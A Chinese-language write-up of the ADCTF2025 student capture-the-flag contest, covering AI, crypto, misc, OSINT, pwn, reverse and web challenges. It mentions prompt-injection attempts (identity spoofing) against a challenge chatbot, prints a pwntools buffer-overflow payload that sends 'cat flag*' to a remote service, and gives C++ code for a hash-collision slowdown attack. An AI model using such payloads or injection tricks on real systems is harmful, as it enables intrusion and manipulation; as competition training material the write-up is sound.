前言
这是我的第一篇WriteUp,可能有很多纰漏,欢迎纠正

AI
[Easy]RKK问答
描述与 RKK 对话,探索 TA 的世界。
解题思路:
错误示范(弯路):
不断尝试prompt注入
包括但不限于:伪装身份,覆盖认知等
此处给出我们出题人teru在赛后给出的防注入提示词

正确示范:
根据对RKK的了解,不难猜出其数字孪生的喜好
我们只需不断发送[图片]即可让RKK-AI乖乖吐出FLAG

crypto
[Easy]easy_encode1
描述none
解题思路:
直接把说明文档和py代码丢给ai即可 链接
[Easy]这家伙在说什么呢?
描述0在王者峡谷里看见了盾山,它不知道在叽里咕噜地说什么呢?然后一个背摔把 0 丢去出题了。
解题思路:
要解决这串二进制转Flag的问题,核心思路是5位二进制分组转Base32编码(Base32的标准规则是将二进制按每5位一组,映射到A-Z(0-25)和2-7(26-31)的字符集)。
步骤1:分组与十进制转换
题目中的二进制已按5位一组分隔,先将每组转为十进制:
分组:00101 01011 00000 00110 00011 10100 01101 10010 00111 00000 01101 10010 00111 10100 01110 00011 00100 00011 10100 01000十进制:5 11 0 6 3 20 13 18 7 0 13 18 7 20 14 3 4 3 20 8步骤2:Base32映射
Base32的字符集为ABCDEFGHIJKLMNOPQRSTUVWXYZ234567(索引0-25对应A-Z,26-31对应2-7)。将十进制索引映射到字符:
十进制:5→F 11→L 0→A 6→G 3→D 20→U 13→N 18→S 7→H 0→A 13→N 18→S 7→H 20→U 14→O 3→D 4→E 3→D 20→U 8→I步骤3:拼接结果
将字符按顺序拼接
最终Flag:
flag{DUNSHANSHUODEDUI}
盾山说得对
[Hard]codeForRkk
描述RKK 为了报复時雨てる先前把 ta 做成 AI 还出进题目里,特地搭建了 Codeforkk 平台。時雨てる果然中招!安全意识薄弱的 ta 在 Codeforkk 上提交了一段有漏洞的代码!为了一雪前耻,请你帮助 RKK,对 ta 的代码发起攻击吧!
解题思路:
进入页面看到代码中出现了unordered_map容器,使用哈希表实现,
这意味着我们只需要在范围内构造大量的质数即可造成哈希冲突,让它的效率大幅下降乃至超时
在这里我选择使用C++编写一个程序,通过筛法得到题目范围内的2e4个质数并以题目规范格式排列输出
将内容作为接下来交给teru程序的输入
#include<bits/stdc++.h>using namespace std;using ll=long long;constexpr ll MAX=10000000;bool NPrime[MAX];int main(){ freopen("test.txt","w",stdout); ll cnt=0; vector<ll> prime; cout<<(ll)2e4<<endl; for(ll i=2;i<MAX&&prime.size()<(ll)2e4;i++) { if(NPrime[i])continue; cout<<i<<endl; prime.push_back(i); for(ll j=2;j*i<=MAX;j++) { NPrime[j*i]=true; } } cout<<prime.size()<<endl; for (auto i : prime) { cout<<i<<endl; } return 0;}如此即可解决本题
[Normal]leak_dp
描述none
解题思路:
没什么好说的
交给AI直接跑一遍
链接
misc
[Easy]AAA真·签到
描述微信搜索 广工AD攻防工作室,关注并发送 欢迎来到ADCTF2025 来取得本题的 flag
解题思路:
灌注AD工作室喵
即可获得flag
[Easy] フラッグモザイク
描述フラッグモザイク (Flag Mosaic) 命名由来:きんいろモザイク
(没看过这个番,只知道黄金马赛克这个名字梗(x)有涩图看了😋,怎么有可恶的春赛克😡! 现在 AI 这么发达,应该能够找它帮忙去除可恶的春赛克吧!嗯!
解题思路:
我们得到一个.tif格式的文件,这是一个TIFF文件
我们不难知道TIFF是一个可以保存多图层信息的文件
直接在搜索引擎上寻找TIFF分离工具即可得到flag
例如 http://www.zuohaotu.com/tiff-split.aspx
我们分离得到关键图层 
[Easy] 知识问答
描述来看看你对网安知识了解有多深吧!
解题思路:
仅需直接询问即可

[Easy]调查问卷
描述感谢你参与本次广东工业大学网络安全大赛暨 ADCTF2025 比赛,我们想倾听你的声音
解题思路:
参与问卷调查即可
osint
[Normal]Neko Q&A
描述rk 国庆出去玩了,来盒一下 rk 去了哪吧~
解题思路:
第一题,作为沙卵二次元又是赛车车迷,一眼GSR车队的Racing Miku
通过Racing Miku不难查到活动时间
第二题,仅需搜索高达立像即可知道是啦啦宝都
不难查到立像揭幕时间和运营公司
第三题,仅需搜索苏州 商场 流光
即可在苏州的商圈推荐网站上找到圆融时代广场
我们的flag就出来了
[Normal]广工问答
描述你了解窝工吗?来做做题检验一下你对学校的了解程度把~
解题思路:
第一题直接搜索广东工业大学网络安全技能大赛即可找到公告
第二题进入校园门户网站在公告搜索谈判比选即可找到成交时间
第三题直接搜索广东工业大学图书馆书目检索系统进入网站,拉到底部即可
第四题直接搜索广东工业大学 全运会即可
很快得到了flag
[Normal]我们一起回去好不好
描述奶龙看到网友在飞机上拍的照片好美,他也想做同一趟飞机去打卡大学城空中视角
【123321的图文作品】我们一起回去好不好 我说的是广州
解题思路
首先,我们通过图片的角度可以知道,飞机此时朝向西南,在大学城岛的南边
第二,我们通过看到翼尖小翼上有航司的logo,搜索中国国内航司的logo进行比对,不难得出是桂林航空
第三,我们查询桂林航空官网,查看他们的飞行节点都有哪些,注意到在飞机朝向上的节点只有珠海、南宁、海口
我们在flightaware对这三个机场进行筛选检查
我们再查看发视频的人的抖音IP——海南
再看视频发布时间——9.14的凌晨
我们可以确定其大概为9月中上旬的飞抵海口机场的夜晚航班
很快我们就筛选出了GT1116号航班
在航旅纵横上查询其实际轨迹
完美符合我们的照片
接下来查看飞行记录,存在9.13的夜间航班
最后我们在航旅纵横上通过航班号就可以查询到飞行器注册号
那么flag就出来了flag{B301C_GT1116_20250913}
pwn
[Easy]checkin
描述pwn 都很简单都来做 pwn
解题思路:
直接丢给AI即可
对话过长,暂不展示
# 使用Python发送payload并获取flagpython3 -c "from pwn import *r = remote('地址', 端口)r.recvuntil(b'Build your chain:')payload = b'A'*56 + b'\x96\x11\x40\x00\x00\x00\x00\x00' + b'\xf2\x11\x40\x00\x00\x00\x00\x00'r.sendline(payload)r.recvuntil(b'Decryption routine activated')r.sendline(b'cat flag*')print(r.recvall(timeout=2).decode())r.close()"
reverse
[Easy]签到
描述测试一下你的环境
解题思路:
老老实实在多平台跑一遍即可
Windows
WSL

PS:之前在MacOS上也能跑出第二段的,现在不知道为什么复现不出来了(悲)
web
[Easy]Crossy Road
描述让小方块顺利过马路吧!
解题思路:
打开页面,使用dev tool检查HTML,发现有一个JS文件
进入JS文件拉到底,看到未解密的flag
进行一次base64解码
发现出现了熟悉的ZmxhZ3
再进行一次base64解码
得到flag{776c2caf-831a-4578-ad7d-9217c35cfe71}
[Normal]PacmanOL
描述pacman -S pacman-ol 🐧
来使用 Arch Linux 吧(并非)👻 来玩吃豆人(Pacman)吧!
🏆 拿到 300 分就有奖励哦~
解题思路:
调最高倍速老老实实玩游戏达到300分即可喵














